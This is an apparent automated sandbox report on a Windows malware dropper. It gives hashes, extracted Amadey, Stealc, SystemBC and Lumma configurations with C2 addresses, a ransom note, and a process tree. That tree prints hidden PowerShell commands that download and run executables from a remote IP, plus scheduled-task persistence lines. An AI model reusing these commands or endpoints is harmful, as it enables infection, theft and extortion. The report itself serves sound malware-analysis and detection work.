Overview

overview

10

Static

static

3

2b61614ceb...70.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-02-2025 12:52

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2b61614ceb74a081d8a0683f353fdec509e976cdd3004c10f8c977c6ce17c470.exe

  • Size

    5.5MB

  • MD5

    d0a8f8009be5fca50f51f921172f1c09

  • SHA1

    fb248ffa5b3016254ac0f42412fe68e1d38761ef

  • SHA256

    2b61614ceb74a081d8a0683f353fdec509e976cdd3004c10f8c977c6ce17c470

  • SHA512

    d3e56567fb53f487ffbe7e79794e09b61f688a35cfeadf1f58a1039cc54aa3a6c2637be7deb0e6a86c66e59d49ac034f01d55d1911054613b11d625d58687fb9

  • SSDEEP

    98304:rvdN5/3I03K4/mEAynzEaWnHY1QSFFO9w9u7AYqTdp8FxFvf8lS1IenvCN9ySf3w:xN5/Y03j/mEAd3Y1QSFFOp770P8F7f8D

Score
10/10
amadeyhealerlummastealcsystembc9c9aa5defaultrenodefense_evasiondiscoverydropperevasionexecutionpersistenceprivilege_escalationpyinstallerransomwarespywarestealertrojanupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

stealc

Botnet

reno

C2

http://185.215.113.115

Attributes
  • url_path

    /c4becf79229cb002.php

Extracted

Family

systembc

C2

cobolrationumelawrtewarms.co:4001

93.186.202.3:4001
Attributes
  • dns

    5.132.191.104

    ns1.vic.au.dns.opennic.glue

    ns2.vic.au.dns.opennic.glue

Extracted

Path

C:\Users\Admin\Desktop\IMPORTANT_FILE_2.txt

Ransom Note
### IMPORTANT INFO ### All your files have been encrypted. If you want to restore them, write us to the e-mail: [email protected] Write this ID in the title of your message: OXT4R548S You have to pay for decryption in Bitcoin. The price depends on how fast you write to us. After payment we will send you the decryption tool that will decrypt all your files. ### Free decryption as guarantee ### Before paying you can send us up to 5 files for free decryption. The total size of files must be less than 10MB (non archived) and files should not contain valuable information (databases, backups, large Excel sheets, etc.)

Extracted

Family

stealc

Botnet

default

C2

http://ecozessentials.com

Attributes
  • url_path

    /e6cb1c8fc7cd1659.php

Extracted

Family

lumma

C2

https://penetratebatt.pw/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 2 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • SystemBC

    SystemBC is a proxy and remote administration tool first seen in 2019.

    trojansystembc
  • Systembc family
    systembc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 12 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Start PowerShell.

    execution
  • Downloads MZ/PE file 17 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 24 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 42 IoCs
  • Identifies Wine through registry keys 2 TTPs 12 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • UPX packed file 32 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 8 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 50 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2b61614ceb74a081d8a0683f353fdec509e976cdd3004c10f8c977c6ce17c470.exe
    "C:\Users\Admin\AppData\Local\Temp\2b61614ceb74a081d8a0683f353fdec509e976cdd3004c10f8c977c6ce17c470.exe"
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:624
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\b1X18.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\b1X18.exe
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4228
      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1n70A2.exe
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1n70A2.exe
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2620
        • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
          "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Downloads MZ/PE file
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4232
          • C:\Users\Admin\AppData\Local\Temp\1087058001\dzvh4HC.exe
            "C:\Users\Admin\AppData\Local\Temp\1087058001\dzvh4HC.exe"
            5⤵
            • Executes dropped EXE
            PID:3564
          • C:\Users\Admin\AppData\Local\Temp\1087306001\YMci4Rc.exe
            "C:\Users\Admin\AppData\Local\Temp\1087306001\YMci4Rc.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2492
            • C:\Users\Admin\AppData\Local\Temp\1087306001\YMci4Rc.exe
              "C:\Users\Admin\AppData\Local\Temp\1087306001\YMci4Rc.exe"
              6⤵
              • Executes dropped EXE
              PID:1680
            • C:\Users\Admin\AppData\Local\Temp\1087306001\YMci4Rc.exe
              "C:\Users\Admin\AppData\Local\Temp\1087306001\YMci4Rc.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4680
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2492 -s 948
              6⤵
              • Program crash
              PID:5044
          • C:\Users\Admin\AppData\Local\Temp\1087345001\9aiiMOQ.exe
            "C:\Users\Admin\AppData\Local\Temp\1087345001\9aiiMOQ.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:932
            • C:\Users\Admin\AppData\Local\Temp\1087345001\9aiiMOQ.exe
              "C:\Users\Admin\AppData\Local\Temp\1087345001\9aiiMOQ.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:3188
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 960
              6⤵
              • Program crash
              PID:4064
          • C:\Users\Admin\AppData\Local\Temp\1087623001\NL58452.exe
            "C:\Users\Admin\AppData\Local\Temp\1087623001\NL58452.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1732
            • C:\Users\Admin\AppData\Local\Temp\1087623001\NL58452.exe
              "C:\Users\Admin\AppData\Local\Temp\1087623001\NL58452.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:4852
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1732 -s 948
              6⤵
              • Program crash
              PID:4956
          • C:\Users\Admin\AppData\Local\Temp\1087891001\f3Ypd8O.exe
            "C:\Users\Admin\AppData\Local\Temp\1087891001\f3Ypd8O.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1768
            • C:\Users\Admin\AppData\Local\Temp\1087891001\f3Ypd8O.exe
              "C:\Users\Admin\AppData\Local\Temp\1087891001\f3Ypd8O.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2356
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 1768 -s 964
              6⤵
              • Program crash
              PID:2900
          • C:\Users\Admin\AppData\Local\Temp\1088207001\kdMujZh.exe
            "C:\Users\Admin\AppData\Local\Temp\1088207001\kdMujZh.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4668
          • C:\Users\Admin\AppData\Local\Temp\1088752001\sQ3DZPU.exe
            "C:\Users\Admin\AppData\Local\Temp\1088752001\sQ3DZPU.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:1508
            • C:\ProgramData\apisysDirectx_11\apisysDirectx.exe
              "C:\ProgramData\apisysDirectx_11\apisysDirectx.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: AddClipboardFormatListener
              PID:968
              • C:\Windows\SysWOW64\schtasks.exe
                "schtasks.exe" /create /tn apisysDirectx_11 /tr "C:\ProgramData\apisysDirectx_11\apisysDirectx.exe" /st 12:55 /du 23:59 /sc daily /ri 1 /f
                7⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:2256
          • C:\Users\Admin\AppData\Local\Temp\1088919001\a1EoH8b.exe
            "C:\Users\Admin\AppData\Local\Temp\1088919001\a1EoH8b.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:380
            • C:\Windows\SysWOW64\msiexec.exe
              "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\91b7d375130f294a\ScreenConnect.ClientSetup.msi"
              6⤵
              • Enumerates connected drives
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              PID:932
          • C:\Users\Admin\AppData\Local\Temp\1089114001\MAl7pjE.exe
            "C:\Users\Admin\AppData\Local\Temp\1089114001\MAl7pjE.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:5048
          • C:\Users\Admin\AppData\Local\Temp\1089158001\launcher.exe
            "C:\Users\Admin\AppData\Local\Temp\1089158001\launcher.exe"
            5⤵
            • Executes dropped EXE
            PID:4964
            • C:\Users\Admin\AppData\Local\Temp\onefile_4964_133845296872134893\launcher.exe
              C:\Users\Admin\AppData\Local\Temp\1089158001\launcher.exe
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1212
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Start-Process C:\Users\Admin\AppData\Local\Temp\MyGameLauncher\game.exe -Verb runAs
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:3404
                • C:\Users\Admin\AppData\Local\Temp\MyGameLauncher\game.exe
                  "C:\Users\Admin\AppData\Local\Temp\MyGameLauncher\game.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:1376
                  • C:\Users\Admin\AppData\Local\Temp\onefile_1376_133845296886822311\game.exe
                    C:\Users\Admin\AppData\Local\Temp\MyGameLauncher\game.exe
                    9⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Sets desktop wallpaper using registry
                    PID:6020
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "notepad.exe C:\Users\Admin\Desktop\IMPORTANT_FILE.txt"
                      10⤵
                        PID:5492
                        • C:\Windows\system32\notepad.exe
                          notepad.exe C:\Users\Admin\Desktop\IMPORTANT_FILE.txt
                          11⤵
                          • Opens file in notepad (likely ransom note)
                          PID:5544
            • C:\Users\Admin\AppData\Local\Temp\1089175001\amnew.exe
              "C:\Users\Admin\AppData\Local\Temp\1089175001\amnew.exe"
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              PID:3916
              • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
                6⤵
                • Downloads MZ/PE file
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:6072
                • C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe
                  "C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:6012
                  • C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe
                    "C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe"
                    8⤵
                    • Executes dropped EXE
                    PID:5348
                • C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe
                  "C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  PID:3720
                  • C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe
                    "C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe"
                    8⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:2200
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 964
                    8⤵
                    • Program crash
                    PID:5964
                • C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
                  "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
                  7⤵
                    PID:2504
                    • C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
                      "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
                      8⤵
                        PID:4168
                      • C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
                        "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
                        8⤵
                          PID:1712
                        • C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
                          "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
                          8⤵
                            PID:5280
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 1060
                            8⤵
                            • Program crash
                            PID:5976
                        • C:\Users\Admin\AppData\Local\Temp\10005030101\12321321.exe
                          "C:\Users\Admin\AppData\Local\Temp\10005030101\12321321.exe"
                          7⤵
                            PID:5900
                      • C:\Users\Admin\AppData\Local\Temp\1089179101\078fa63d7b.exe
                        "C:\Users\Admin\AppData\Local\Temp\1089179101\078fa63d7b.exe"
                        5⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        PID:3180
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c schtasks /create /tn UzOoJma2oyV /tr "mshta C:\Users\Admin\AppData\Local\Temp\yZygZYyeS.hta" /sc minute /mo 25 /ru "Admin" /f
                          6⤵
                          • System Location Discovery: System Language Discovery
                          PID:3196
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /tn UzOoJma2oyV /tr "mshta C:\Users\Admin\AppData\Local\Temp\yZygZYyeS.hta" /sc minute /mo 25 /ru "Admin" /f
                            7⤵
                            • System Location Discovery: System Language Discovery
                            • Scheduled Task/Job: Scheduled Task
                            PID:2924
                        • C:\Windows\SysWOW64\mshta.exe
                          mshta C:\Users\Admin\AppData\Local\Temp\yZygZYyeS.hta
                          6⤵
                          • Checks computer location settings
                          • System Location Discovery: System Language Discovery
                          PID:4880
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LN6GYDZ7JMP9CYUV0ATJO7SJVARZH10O.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
                            7⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Downloads MZ/PE file
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3824
                            • C:\Users\Admin\AppData\Local\TempLN6GYDZ7JMP9CYUV0ATJO7SJVARZH10O.EXE
                              "C:\Users\Admin\AppData\Local\TempLN6GYDZ7JMP9CYUV0ATJO7SJVARZH10O.EXE"
                              8⤵
                              • Modifies Windows Defender DisableAntiSpyware settings
                              • Modifies Windows Defender Real-time Protection settings
                              • Modifies Windows Defender TamperProtection settings
                              • Modifies Windows Defender notification settings
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Windows security modification
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:1188
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1089180021\am_no.cmd" "
                        5⤵
                        • System Location Discovery: System Language Discovery
                        PID:5660
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1089180021\am_no.cmd" any_word
                          6⤵
                          • System Location Discovery: System Language Discovery
                          PID:5724
                          • C:\Windows\SysWOW64\timeout.exe
                            timeout /t 2
                            7⤵
                            • System Location Discovery: System Language Discovery
                            • Delays execution with timeout.exe
                            PID:5788
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                            7⤵
                            • System Location Discovery: System Language Discovery
                            PID:5900
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                              8⤵
                              • Command and Scripting Interpreter: PowerShell
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:5912
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                            7⤵
                            • System Location Discovery: System Language Discovery
                            PID:4788
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                              8⤵
                              • Command and Scripting Interpreter: PowerShell
                              • System Location Discovery: System Language Discovery
                              PID:5280
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                            7⤵
                            • System Location Discovery: System Language Discovery
                            PID:3164
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                              8⤵
                              • Command and Scripting Interpreter: PowerShell
                              • System Location Discovery: System Language Discovery
                              PID:4592
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /tn "mTesxma7ufw" /tr "mshta \"C:\Temp\ulD1NdmSc.hta\"" /sc minute /mo 25 /ru "Admin" /f
                            7⤵
                            • System Location Discovery: System Language Discovery
                            • Scheduled Task/Job: Scheduled Task
                            PID:5900
                          • C:\Windows\SysWOW64\mshta.exe
                            mshta "C:\Temp\ulD1NdmSc.hta"
                            7⤵
                            • System Location Discovery: System Language Discovery
                            PID:5272
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
                              8⤵
                              • Command and Scripting Interpreter: PowerShell
                              PID:5528
                              • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                                "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                                9⤵
                                  PID:3676
                        • C:\Users\Admin\AppData\Local\Temp\1089191001\8f9ec9ef64.exe
                          "C:\Users\Admin\AppData\Local\Temp\1089191001\8f9ec9ef64.exe"
                          5⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Checks processor information in registry
                          PID:5216
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 5216 -s 1608
                            6⤵
                            • Program crash
                            PID:6012
                        • C:\Users\Admin\AppData\Local\Temp\1089192001\73ead8dd80.exe
                          "C:\Users\Admin\AppData\Local\Temp\1089192001\73ead8dd80.exe"
                          5⤵
                            PID:5832
                          • C:\Users\Admin\AppData\Local\Temp\1089193001\sQ3DZPU.exe
                            "C:\Users\Admin\AppData\Local\Temp\1089193001\sQ3DZPU.exe"
                            5⤵
                              PID:5152
                            • C:\Users\Admin\AppData\Local\Temp\1089194001\NL58452.exe
                              "C:\Users\Admin\AppData\Local\Temp\1089194001\NL58452.exe"
                              5⤵
                                PID:964
                                • C:\Users\Admin\AppData\Local\Temp\1089194001\NL58452.exe
                                  "C:\Users\Admin\AppData\Local\Temp\1089194001\NL58452.exe"
                                  6⤵
                                    PID:4388
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 960
                                    6⤵
                                    • Program crash
                                    PID:1152
                            • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2O4054.exe
                              C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2O4054.exe
                              3⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2364
                          • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3Z15F.exe
                            C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3Z15F.exe
                            2⤵
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:432
                        • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                          C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                          1⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3992
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2492 -ip 2492
                          1⤵
                            PID:3588
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 932 -ip 932
                            1⤵
                              PID:348
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1732 -ip 1732
                              1⤵
                                PID:624
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1768 -ip 1768
                                1⤵
                                  PID:4768
                                • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                  C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
                                  1⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:3628
                                • C:\ProgramData\fedpc\snihdww.exe
                                  C:\ProgramData\fedpc\snihdww.exe start2
                                  1⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:3432
